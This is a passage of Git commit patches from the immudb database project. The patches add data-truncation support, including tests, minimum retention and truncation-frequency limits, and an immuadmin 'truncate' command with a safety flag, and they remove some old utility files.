tx.Commit(ctx) + require.NoError(t, err) + require.NotNil(t, hdr) + hdrs = append(hdrs, hdr) + } + + // Truncate upto 5th transaction on master store + deletePointTx := uint64(5) + hdr, err := masterStore.ReadTxHeader(deletePointTx, false) + require.NoError(t, err) + require.NoError(t, masterStore.TruncateUptoTx(hdr.ID)) + + // Validate that the values are not accessible for transactions that are truncated + for i := deletePointTx - 1; i > 0; i-- { + tx := NewTx(masterStore.MaxTxEntries(), masterStore.MaxKeyLen()) + err = masterStore.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := masterStore.ReadValue(e) + require.Error(t, err) + } + } + + // Replicate all the transactions to replica store + for i := uint64(1); i <= 10; i++ { + txholder := tempTxHolder(t, masterStore) + + etx, err := masterStore.ExportTx(i, false, txholder) + require.NoError(t, err) + + rhdr, err := replicaStore.ReplicateTx(ctx, etx, false) + require.NoError(t, err) + require.NotNil(t, rhdr) + } + + // Validate that the alh is matching with master when data is exported to replica + for i := uint64(1); i <= 10; i++ { + tx := NewTx(replicaStore.MaxTxEntries(), replicaStore.MaxKeyLen()) + err = replicaStore.ReadTx(i, tx) + + hdr := hdrs[i-1] + require.Equal(t, hdr.ID, tx.header.ID) + require.Equal(t, hdr.Alh(), tx.header.Alh()) + } + + // Validate that the values are not copied on replica for truncated transaction on master + for i := deletePointTx - 1; i > 0; i-- { + tx := NewTx(replicaStore.MaxTxEntries(), replicaStore.MaxKeyLen()) + err = replicaStore.ReadTx(i, tx) + for _, e := range tx.Entries() { + val, err := replicaStore.ReadValue(e) + require.NoError(t, err) + require.Nil(t, val) + } + } + + // Validate that the values are copied on replica for non truncated transaction on master + for i := deletePointTx; i <= 10; i++ { + tx := NewTx(replicaStore.MaxTxEntries(), replicaStore.MaxKeyLen()) + err = replicaStore.ReadTx(i, tx) + for _, e := range tx.Entries() { + val, err := replicaStore.ReadValue(e) + require.NoError(t, err) + require.NotNil(t, val) + } + } + }) +} + +func TestImmudbStoreTxMetadata(t *testing.T) { + opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) + immuStore, err := Open(t.TempDir(), opts) + require.NoError(t, err) + + ctx := context.TODO() + t.Run("test tx metadata with truncation header", func(t *testing.T) { + tx, err := immuStore.NewTx(ctx, DefaultTxOptions()) + require.NoError(t, err) + require.NotNil(t, tx) + + tx.WithMetadata(NewTxMetadata().WithTruncatedTxID(10)) + + err = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1}) + require.NoError(t, err) + + _, err = tx.Commit(ctx) + require.NoError(t, err) + + valRef, err := immuStore.Get([]byte{1, 2, 3}) + require.NoError(t, err) + require.Equal(t, uint64(1), valRef.Tx()) + require.Equal(t, uint64(1), valRef.HC()) + require.Equal(t, uint32(3), valRef.Len()) + require.Equal(t, sha256.Sum256([]byte{3, 2, 1}), valRef.HVal()) + + require.True(t, valRef.TxMetadata().HasTruncatedTxID()) + trid, err := valRef.TxMetadata().GetTruncatedTxID() + require.NoError(t, err) + require.Equal(t, uint64(10), trid) + }) + + t.Run("test tx metadata with no truncation header", func(t *testing.T) { + tx, err := immuStore.NewTx(ctx, DefaultTxOptions()) + require.NoError(t, err) + require.NotNil(t, tx) + + err = tx.Set([]byte{1, 2, 3}, nil, []byte{1, 1, 1}) + require.NoError(t, err) + + _, err = tx.Commit(ctx) + require.NoError(t, err) + valRef, err := immuStore.Get([]byte{1, 2, 3}) + require.NoError(t, err) + require.Equal(t, uint64(2), valRef.Tx()) + + v, err := valRef.Resolve() + require.NoError(t, err) + require.Equal(t, []byte{1, 1, 1}, v) + require.NoError(t, err) + require.Equal(t, uint64(2), valRef.Tx()) + require.Nil(t, valRef.TxMetadata()) + require.Equal(t, uint64(2), valRef.HC()) + require.Equal(t, uint32(3), valRef.Len()) + require.Equal(t, sha256.Sum256([]byte{1, 1, 1}), valRef.HVal()) + }) + +} + +func TestImmudbStoreTruncateUptoTx_WithDataPostTruncationPoint(t *testing.T) { + opts := DefaultOptions(). + WithFileSize(6). + WithMaxIOConcurrency(1) + + st, err := Open(t.TempDir(), opts) + require.NoError(t, err) + require.NotNil(t, st) + defer immustoreClose(t, st) + + ctx := context.TODO() + for i := 1; i <= 10; i++ { + key := []byte(fmt.Sprintf("key_%d", i)) + value := []byte(fmt.Sprintf("val_%d", i)) + tx, err := st.NewWriteOnlyTx(ctx) + require.NoError(t, err) + + err = tx.Set(key, nil, value) + require.NoError(t, err) + + _, err = tx.Commit(ctx) + require.NoError(t, err) + } + + deletePointTx := uint64(1) + hdr, err := st.ReadTxHeader(deletePointTx, false) + require.NoError(t, err) + + require.NoError(t, st.TruncateUptoTx(hdr.ID)) + + for i := 11; i <= 20; i++ { + key := []byte(fmt.Sprintf("key_%d", i)) + value := []byte(fmt.Sprintf("val_%d", i)) + tx, err := st.NewWriteOnlyTx(ctx) + require.NoError(t, err) + + err = tx.Set(key, nil, value) + require.NoError(t, err) + + hdr, err = tx.Commit(ctx) + require.NoError(t, err) + + rtx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) + err = st.ReadTx(hdr.ID, rtx) + for _, e := range rtx.Entries() { + _, err := st.ReadValue(e) + require.NoError(t, err) + } + } +} diff --git a/embedded/store/options.go b/embedded/store/options.go index 72ce86c3fd..77b31aa4a1 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -51,6 +51,7 @@ const DefaultWriteBufferSize = 1 << 22 //4Mb const DefaultIndexingMaxBulkSize = 1 const DefaultBulkPreparationTimeout = DefaultSyncFrequency const DefaultTruncationFrequency = 24 * time.Hour +const MinimumRetentionPeriod = 24 * time.Hour const MaxFileSize = (1 << 31) - 1 // 2Gb diff --git a/pkg/database/database.go b/pkg/database/database.go index abda99ff36..686c65661d 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -33,7 +33,6 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/logger" - "github.com/codenotary/immudb/pkg/util" ) const MaxKeyResolutionLimit = 1 @@ -1771,17 +1770,19 @@ func (d *db) runTruncator() { // tn-1:vx tn:vx tn+1:vx // func (d *db) truncate(ts time.Time) error { - defer util.HandlePanic(d.Logger) for _, c := range d.truncators { // Plan determines the transaction header before time period ts. If a // transaction is not found, or if an error occurs fetching the transaction, // then truncation does not run for the specified appendable. hdr, err := c.Plan(ts) if err != nil { - if err == store.ErrTxNotFound { - d.Logger.Infof("no transaction found beyond specified truncation timeframe '%s' {err = %v}", d.name, err) - } else { - d.Logger.Errorf("failed to plan truncation for db '%s' {err = %v}", d.name, err) + switch err { + case ErrRetentionPeriodNotReached: + d.Logger.Infof("retention period not reached for truncating database '%s' at {ts = %s}", d.name, ts.String()) + case store.ErrTxNotFound: + d.Logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {err = %v}", d.name, err) + default: + d.Logger.Errorf("failed to plan truncation for database '%s' {err = %v}", d.name, err) } // If no transaction is found, or if an error occurs, then continue continue @@ -1791,7 +1792,7 @@ func (d *db) truncate(ts time.Time) error { // specified in the transaction hdr err = c.Truncate(hdr) if err != nil { - d.Logger.Errorf("failed to truncate db '%s' {err = %v}", d.name, err) + d.Logger.Errorf("failed to truncate database '%s' {err = %v}", d.name, err) } } @@ -1801,7 +1802,5 @@ func (d *db) truncate(ts time.Time) error { // CopyCatalog creates a copy of the sql catalog and returns a transaction // that can be used to commit the copy. func (d *db) CopyCatalog(ctx context.Context) (*store.OngoingTx, error) { - d.mutex.Lock() - defer d.mutex.Unlock() return d.sqlEngine.CopyCatalog(ctx) } diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index dc8d7570bc..463e1639dd 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -88,18 +88,13 @@ func (v *vlogTruncator) isRetentionPeriodReached(retentionPeriod time.Time, txTi return ErrRetentionPeriodNotReached } -// Truncate runs truncation against the relevant appendable logs upto the specified transaction offset. -func (v *vlogTruncator) Truncate(hdr *store.TxHeader) error { - defer func(t time.Time) { - v.metrics.ran.Inc() - v.metrics.duration.Observe(time.Since(t).Seconds()) - }(time.Now()) - +// commitCatalog commits the current sql catalogue as a new transaction. +func (v *vlogTruncator) commitCatalog(hdr *store.TxHeader) (*store.TxHeader, error) { // copy sql catalogue tx, err := v.db.CopyCatalog(context.Background()) if err != nil { v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_copy}", v.db.name, err, hdr.ID) - return err + return nil, err } defer tx.Cancel() @@ -107,11 +102,23 @@ func (v *vlogTruncator) Truncate(hdr *store.TxHeader) error { tx.WithMetadata(store.NewTxMetadata().WithTruncatedTxID(hdr.ID)) // commit catalogue as a new transaction - _, err = tx.Commit(context.Background()) + return tx.Commit(context.Background()) +} + +// Truncate runs truncation against the relevant appendable logs upto the specified transaction offset. +func (v *vlogTruncator) Truncate(hdr *store.TxHeader) error { + defer func(t time.Time) { + v.metrics.ran.Inc() + v.metrics.duration.Observe(time.Since(t).Seconds()) + }(time.Now()) + v.db.Logger.Infof("copying sql catalog before truncation for database '%s' at tx %d", v.db.name, hdr.ID) + // copy sql catalogue + sqlCommitHdr, err := v.commitCatalog(hdr) if err != nil { v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_commit}", v.db.name, err, hdr.ID) return err } + v.db.Logger.Infof("committed sql catalog before truncation for database '%s' at tx %d", v.db.name, sqlCommitHdr.ID) // truncate upto hdr.ID err = v.db.st.TruncateUptoTx(hdr.ID) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 57b76f68ba..0a6261587a 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -416,13 +416,13 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { db := setupCommonTest(t) exec := func(t *testing.T, stmt string) { - _, ctx, err := db.SQLExec(&schema.SQLExecRequest{Sql: stmt}, nil) + _, ctx, err := db.SQLExec(context.TODO(), nil, &schema.SQLExecRequest{Sql: stmt}) require.NoError(t, err) require.Len(t, ctx, 1) } query := func(t *testing.T, stmt string, expectedRows int) { - res, err := db.SQLQuery(&schema.SQLQueryRequest{Sql: stmt}, nil) + res, err := db.SQLQuery(context.TODO(), nil, &schema.SQLQueryRequest{Sql: stmt}) require.NoError(t, err) require.NoError(t, err) require.Len(t, res.Rows, expectedRows) @@ -470,7 +470,7 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), } - deleteUptoTx, err = db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + deleteUptoTx, err = db.Set(context.TODO(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) } @@ -558,3 +558,54 @@ func Test_vlogTruncator_isRetentionPeriodReached(t *testing.T) { }) } } + +func Test_vlogCompactor_for_read_conflict(t *testing.T) { + rootPath := t.TempDir() + + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options.storeOpts.WithFileSize(60) + + db := makeDbWith(t, "db", options) + require.Equal(t, uint64(1), db.st.LastCommittedTxID()) + + for i := 1; i <= 10; i++ { + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + _, err := db.Set(context.TODO(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + require.NoError(t, err) + } + + once := sync.Once{} + doneTruncateCh := make(chan bool, 0) + startWritesCh := make(chan bool, 0) + doneWritesCh := make(chan bool, 0) + go func() { + for i := 11; i <= 40; i++ { + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + _, err := db.Set(context.TODO(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + once.Do(func() { + close(startWritesCh) + }) + require.NoError(t, err) + } + close(doneWritesCh) + }() + + go func() { + <-startWritesCh + deletePointTx := uint64(5) + hdr, err := db.st.ReadTxHeader(deletePointTx, false) + require.NoError(t, err) + c := newVlogTruncator(db) + require.NoError(t, c.Truncate(hdr)) + close(doneTruncateCh) + }() + + <-doneWritesCh + <-doneTruncateCh +} diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 8cdfb11ca0..8b9704b624 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -750,6 +750,12 @@ func (opts *dbOptions) Validate() error { ) } + if opts.RetentionPeriod < 0 || (opts.RetentionPeriod > 0 && opts.RetentionPeriod < Milliseconds(store.MinimumRetentionPeriod.Milliseconds())) { + return fmt.Errorf( + "%w: invalid retention period for database '%s'. RetentionPeriod should at least 1 day", + ErrIllegalArguments, opts.Database) + } + return opts.storeOptions().Validate() } diff --git a/pkg/util/runtime.go b/pkg/util/runtime.go deleted file mode 100644 index 369e508dbe..0000000000 --- a/pkg/util/runtime.go +++ /dev/null @@ -1,53 +0,0 @@ -/* -Copyright 2022 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package util - -import ( - "runtime" - - "github.com/codenotary/immudb/pkg/logger" -) - -// PanicHandler is a function which is invoked when a panic happens -type PanicHandler func(logger.Logger, interface{}) - -// DefaultPanicHandlers is a list of PanicHandler(s) which will be invoked when a panic happens -var DefaultPanicHandlers = []PanicHandler{panicLogger} - -// HandlePanic catches a crash and logs an error. Should to be called via defer. -func HandlePanic(l logger.Logger, handlers ...PanicHandler) { - if r := recover(); r != nil { - for _, fn := range DefaultPanicHandlers { - fn(l, r) - } - for _, fn := range handlers { - fn(l, r) - } - } -} - -// panicLogger logs the stack trace when a panic occurs -func panicLogger(l logger.Logger, r interface{}) { - const size = 64 << 10 - stacktrace := make([]byte, size) - stacktrace = stacktrace[:runtime.Stack(stacktrace, false)] - if _, ok := r.(string); ok { - l.Errorf("Observed a panic: %s\n%s", r, stacktrace) - } else { - l.Errorf("Observed a panic: %#v (%v)\n%s", r, r, stacktrace) - } -} diff --git a/pkg/util/runtime_test.go b/pkg/util/runtime_test.go deleted file mode 100644 index 755387bd56..0000000000 --- a/pkg/util/runtime_test.go +++ /dev/null @@ -1,29 +0,0 @@ -/* -Copyright 2022 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package util - -import ( - "os" - "testing" - - "github.com/codenotary/immudb/pkg/logger" -) - -func TestHandleCrash(t *testing.T) { - defer HandlePanic(logger.NewSimpleLogger("immudb ", os.Stderr)) - panic("Test Panic") -} diff --git a/pkg/util/time.go b/pkg/util/time.go deleted file mode 100644 index b36172f2aa..0000000000 --- a/pkg/util/time.go +++ /dev/null @@ -1,64 +0,0 @@ -/* -Copyright 2022 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package util - -import ( - "errors" - "fmt" - "regexp" - "strconv" - "time" -) - -// valid matches are up to minute level (y,w,d,h,m) -var validDurationRE = regexp.MustCompile("^(([0-9]+)y)?(([0-9]+)w)?(([0-9]+)d)?$") - -// ParseDuration parses a string into a time.Duration -func ParseDuration(p string) (time.Duration, error) { - if p == "" { - return 0, errors.New("invalid duration") - } - - m := validDurationRE.FindStringSubmatch(p) - if m == nil { - return 0, fmt.Errorf("invalid duration: %q", p) - } - - var d time.Duration - - minute := time.Duration(1 * 60) - hour := time.Duration(minute * 60) - day := time.Duration(hour * 24) - week := time.Duration(day * 7) - year := time.Duration(day * 365) - - d += match(m[2], year) // y - d += match(m[4], week) // w - d += match(m[6], day) // d - - return d, nil -} - -func match(val string, mult time.Duration) time.Duration { - if val == "" { - return 0 - } - - v, _ := strconv.Atoi(val) - d := time.Duration(v) * time.Second - return d * mult -} diff --git a/pkg/util/time_test.go b/pkg/util/time_test.go deleted file mode 100644 index 278920d479..0000000000 --- a/pkg/util/time_test.go +++ /dev/null @@ -1,118 +0,0 @@ -/* -Copyright 2022 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package util - -import ( - "testing" - "time" -) - -func TestParseDuration(t *testing.T) { - var cases = []struct { - in string - out time.Duration - wantErr bool - }{ - { - in: "", - out: 0, - wantErr: true, - }, - { - in: "0", - out: 0, - wantErr: true, - }, - { - in: "0s", - out: 0, - wantErr: true, - }, - { - in: "1", - out: 0, - wantErr: true, - }, - { - in: "10ms", - out: 0, - wantErr: true, - }, - { - in: "-1d", - out: 0, - wantErr: true, - }, - { - in: "-1w", - out: 0, - wantErr: true, - }, - { - in: "0.5d", - out: 0, - wantErr: true, - }, - { - in: "d", - out: 0, - wantErr: true, - }, - { - in: "1s", - out: 0, - wantErr: true, - }, - { - in: "10m", - out: 0, - wantErr: true, - }, - { - in: "1h", - out: 0, - wantErr: true, - }, - { - in: "1d", - out: 1 * 24 * time.Hour, - }, - { - in: "3d10h", - out: 0, - wantErr: true, - }, - { - in: "2w", - out: 2 * 7 * 24 * time.Hour, - }, - { - in: "2y", - out: 2 * 365 * 24 * time.Hour, - }, - } - - for _, c := range cases { - d, err := ParseDuration(c.in) - if err != nil && !c.wantErr { - t.Errorf("error on input %q: %s", c.in, err) - } - if time.Duration(d) != c.out { - t.Errorf("expected %v but got %v", c.out, d) - } - } -} From 958b5bb55bb539b7351bcd27f8432449fbb04444 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 16 Jan 2023 05:11:51 +0530 Subject: [PATCH 0169/1062] chore(embedded/store): add min limit for truncation frequency --- cmd/immuadmin/command/database.go | 2 +- embedded/store/immustore.go | 1 + embedded/store/options.go | 1 + embedded/store/tx_metadata.go | 2 +- pkg/database/database.go | 2 +- pkg/database/dboptions.go | 2 +- pkg/integration/database_creation_test.go | 6 ++++++ pkg/server/db_options.go | 8 +++++++- 8 files changed, 19 insertions(+), 5 deletions(-) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 3d2f172fe1..720fbdb042 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -53,7 +53,7 @@ func addDbUpdateFlags(c *cobra.Command) { c.Flags().Uint32("read-tx-pool-size", database.DefaultReadTxPoolSize, "set transaction read pool size (used for reading transaction objects)") c.Flags().Bool("autoload", true, "enable database autoloading") c.Flags().Duration("retention-period", 0, "duration of time to retain data in storage") - c.Flags().Duration("truncation-frequency", store.DefaultTruncationFrequency, "set the truncation frequency for the database") + c.Flags().Duration("truncation-frequency", database.DefaultTruncationFrequency, "set the truncation frequency for the database") flagNameMapping := map[string]string{ "replication-enabled": "replication-is-replica", diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 677f022f05..b674de1dc3 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -104,6 +104,7 @@ var ErrMetadataUnsupported = errors.New( var ErrUnsupportedTxHeaderVersion = errors.New("missing tx header serialization method") var ErrIllegalTruncationArgument = fmt.Errorf("%w: invalid truncation info", ErrIllegalArguments) +var ErrTxNotPresentInMetadata = errors.New("tx not present in metadata") const MaxKeyLen = 1024 // assumed to be not lower than hash size const MaxParallelIO = 127 diff --git a/embedded/store/options.go b/embedded/store/options.go index 77b31aa4a1..00c94e62dd 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -52,6 +52,7 @@ const DefaultIndexingMaxBulkSize = 1 const DefaultBulkPreparationTimeout = DefaultSyncFrequency const DefaultTruncationFrequency = 24 * time.Hour const MinimumRetentionPeriod = 24 * time.Hour +const MinimumTruncationFrequency = 1 * time.Hour const MaxFileSize = (1 << 31) - 1 // 2Gb diff --git a/embedded/store/tx_metadata.go b/embedded/store/tx_metadata.go index a9c3473d86..35184709b6 100644 --- a/embedded/store/tx_metadata.go +++ b/embedded/store/tx_metadata.go @@ -158,7 +158,7 @@ func (md *TxMetadata) HasTruncatedTxID() bool { func (md *TxMetadata) GetTruncatedTxID() (uint64, error) { attr, ok := md.attributes[truncatedUptoTxAttrCode] if !ok { - return 0, ErrTxNotFound + return 0, ErrTxNotPresentInMetadata } return attr.(*truncatedUptoTxAttribute).txID, nil diff --git a/pkg/database/database.go b/pkg/database/database.go index 686c65661d..062a4bb37e 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1732,7 +1732,7 @@ func getRetentionPeriod(ts time.Time, retentionPeriod time.Duration) time.Time { // runTruncator triggers periodically to truncate multiple appendable logs func (d *db) runTruncator() { - d.Logger.Infof("starting truncator for db '%s' with retention period '%.2f' and truncation frequency '%.2f'", d.name, d.options.RetentionPeriod.Seconds(), d.options.TruncationFrequency.Seconds()) + d.Logger.Infof("starting truncator for db '%s' with retention period '%v' and truncation frequency '%v'", d.name, d.options.RetentionPeriod.Seconds(), d.options.TruncationFrequency.Seconds()) for { select { case <-d.stopc: diff --git a/pkg/database/dboptions.go b/pkg/database/dboptions.go index a30e4e725f..0d8c5d664d 100644 --- a/pkg/database/dboptions.go +++ b/pkg/database/dboptions.go @@ -25,7 +25,7 @@ import ( const ( DefaultDbRootPath = "./data" DefaultReadTxPoolSize = 128 - DefaultTruncationFrequency = 12 * time.Hour + DefaultTruncationFrequency = 24 * time.Hour ) // Options database instance options diff --git a/pkg/integration/database_creation_test.go b/pkg/integration/database_creation_test.go index 68da607c0e..ba03434359 100644 --- a/pkg/integration/database_creation_test.go +++ b/pkg/integration/database_creation_test.go @@ -18,6 +18,7 @@ package integration import ( "testing" + "time" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" @@ -95,6 +96,8 @@ func TestCreateDatabaseV2(t *testing.T) { SyncThreshold: &schema.NullableUint32{Value: 10_000}, WriteBufferSize: &schema.NullableUint32{Value: 8000}, }, + RetentionPeriod: &schema.NullableMilliseconds{Value: 24 * time.Hour.Milliseconds()}, + TruncationFrequency: &schema.NullableMilliseconds{Value: 1 * time.Hour.Milliseconds()}, } _, err := client.CreateDatabaseV2(ctx, "db1", dbNullableSettings) require.NoError(t, err) @@ -140,6 +143,9 @@ func TestCreateDatabaseV2(t *testing.T) { require.Equal(t, dbNullableSettings.AhtSettings.SyncThreshold.Value, res.Settings.AhtSettings.SyncThreshold.Value) require.Equal(t, dbNullableSettings.AhtSettings.WriteBufferSize.Value, res.Settings.AhtSettings.WriteBufferSize.Value) + require.Equal(t, dbNullableSettings.RetentionPeriod.Value, res.Settings.RetentionPeriod.Value) + require.Equal(t, dbNullableSettings.TruncationFrequency.Value, res.Settings.TruncationFrequency.Value) + _, err = client.UpdateDatabaseV2(ctx, "db1", &schema.DatabaseNullableSettings{}) require.NoError(t, err) } diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 8b9704b624..facf4783ef 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -163,7 +163,7 @@ func (s *ImmuServer) defaultDBOptions(dbName string) *dbOptions { Autoload: unspecifiedState, CreatedAt: time.Now(), - TruncationFrequency: Milliseconds(store.DefaultTruncationFrequency.Milliseconds()), + TruncationFrequency: Milliseconds(database.DefaultTruncationFrequency.Milliseconds()), } if dbName == s.Options.systemAdminDBName || dbName == s.Options.defaultDBName { @@ -756,6 +756,12 @@ func (opts *dbOptions) Validate() error { ErrIllegalArguments, opts.Database) } + if opts.TruncationFrequency < 0 || (opts.TruncationFrequency > 0 && opts.TruncationFrequency < Milliseconds(store.MinimumTruncationFrequency.Milliseconds())) { + return fmt.Errorf( + "%w: invalid truncation frequency for database '%s'. TruncationFrequency should at least 1 hour", + ErrIllegalArguments, opts.Database) + } + return opts.storeOptions().Validate() } From 5ad233aed4bc0b4df4230d686901d067538fd7e4 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 16 Jan 2023 17:44:23 +0530 Subject: [PATCH 0170/1062] chore(cmd/immuadmin): add truncate cmd to immuadmin --- cmd/immuadmin/command/database.go | 48 +- pkg/api/schema/docs.md | 34 + pkg/api/schema/schema.pb.go | 1365 ++++++++++++++------------ pkg/api/schema/schema.pb.gw.go | 81 ++ pkg/api/schema/schema.proto | 21 + pkg/api/schema/schema.swagger.json | 54 + pkg/api/schema/schema_grpc.pb.go | 36 + pkg/client/client.go | 21 + pkg/database/database.go | 52 +- pkg/database/truncator.go | 2 +- pkg/server/db_dummy_closed.go | 4 + pkg/server/server.go | 62 ++ pkg/server/servertest/server_mock.go | 4 + 13 files changed, 1163 insertions(+), 621 deletions(-) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 720fbdb042..7b6b355a86 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -78,7 +78,7 @@ func (cl *commandline) database(cmd *cobra.Command) { Short: "Issue all database commands", Aliases: []string{"d"}, PersistentPostRun: cl.disconnect, - ValidArgs: []string{"list", "create", "load", "unload", "delete", "update", "use", "flush", "compact"}, + ValidArgs: []string{"list", "create", "load", "unload", "delete", "update", "use", "flush", "compact", "truncate"}, } listCmd := &cobra.Command{ @@ -317,6 +317,45 @@ func (cl *commandline) database(cmd *cobra.Command) { Args: cobra.ExactArgs(0), } + truncateCmd := &cobra.Command{ + Use: "truncate", + Short: "Truncate database (unrecoverable operation)", + Example: "delete --yes-i-know-what-i-am-doing {database_name}", + PersistentPreRunE: cl.ConfigChain(cl.connect), + PersistentPostRun: cl.disconnect, + RunE: func(cmd *cobra.Command, args []string) error { + safetyFlag, err := cmd.Flags().GetBool("yes-i-know-what-i-am-doing") + if err != nil { + return err + } + + if !safetyFlag { + fmt.Fprintf(cmd.OutOrStdout(), "database '%s' was not truncated. Safety flag not set\n", args[0]) + return nil + } + + retentionPeriod, err := cmd.Flags().GetDuration("retention-period") + if err != nil { + return err + } + + fmt.Fprintf(cmd.OutOrStdout(), "truncating database '%s' up to retention period '%s'...\n", args[0], retentionPeriod.String()) + + _, err = cl.immuClient.TruncateDatabase(cl.context, &schema.TruncateDatabaseRequest{ + Database: args[0], + RetentionPeriod: &schema.NullableMilliseconds{Value: retentionPeriod.Milliseconds()}, + }) + if err != nil { + return err + } + + fmt.Fprintf(cmd.OutOrStdout(), "database '%s' successfully truncated\n", args[0]) + return nil + }, + Args: cobra.ExactArgs(1), + } + addDbTruncateFlags(truncateCmd) + dbCmd.AddCommand(listCmd) dbCmd.AddCommand(createCmd) dbCmd.AddCommand(loadCmd) @@ -326,6 +365,7 @@ func (cl *commandline) database(cmd *cobra.Command) { dbCmd.AddCommand(updateCmd) dbCmd.AddCommand(flushCmd) dbCmd.AddCommand(compactCmd) + dbCmd.AddCommand(truncateCmd) cmd.AddCommand(dbCmd) } @@ -532,3 +572,9 @@ func databaseNullableSettingsStr(settings *schema.DatabaseNullableSettings) stri return strings.Join(propertiesStr, ", ") } + +func addDbTruncateFlags(c *cobra.Command) { + c.Flags().Bool("yes-i-know-what-i-am-doing", false, "safety flag to confirm database truncation") + c.Flags().Duration("retention-period", 0, "duration of time to retain data in storage") + c.MarkFlagRequired("yes-i-know-what-i-am-doing") +} diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 2a268e802d..7c730d8d8d 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -98,6 +98,8 @@ - [SetRequest](#immudb.schema.SetRequest) - [Signature](#immudb.schema.Signature) - [Table](#immudb.schema.Table) + - [TruncateDatabaseRequest](#immudb.schema.TruncateDatabaseRequest) + - [TruncateDatabaseResponse](#immudb.schema.TruncateDatabaseResponse) - [Tx](#immudb.schema.Tx) - [TxEntry](#immudb.schema.TxEntry) - [TxHeader](#immudb.schema.TxHeader) @@ -1733,6 +1735,37 @@ ServerInfoResponse contains information about the server instance. + + +### TruncateDatabaseRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| database | [string](#string) | | Database name | +| retentionPeriod | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Retention Period of data | + + + + + + + + +### TruncateDatabaseResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| database | [string](#string) | | Database name | + + + + + + ### Tx @@ -2423,6 +2456,7 @@ immudb gRPC & REST service | ListTables | [.google.protobuf.Empty](#google.protobuf.Empty) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | | | DescribeTable | [Table](#immudb.schema.Table) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | | | VerifiableSQLGet | [VerifiableSQLGetRequest](#immudb.schema.VerifiableSQLGetRequest) | [VerifiableSQLEntry](#immudb.schema.VerifiableSQLEntry) | | +| TruncateDatabase | 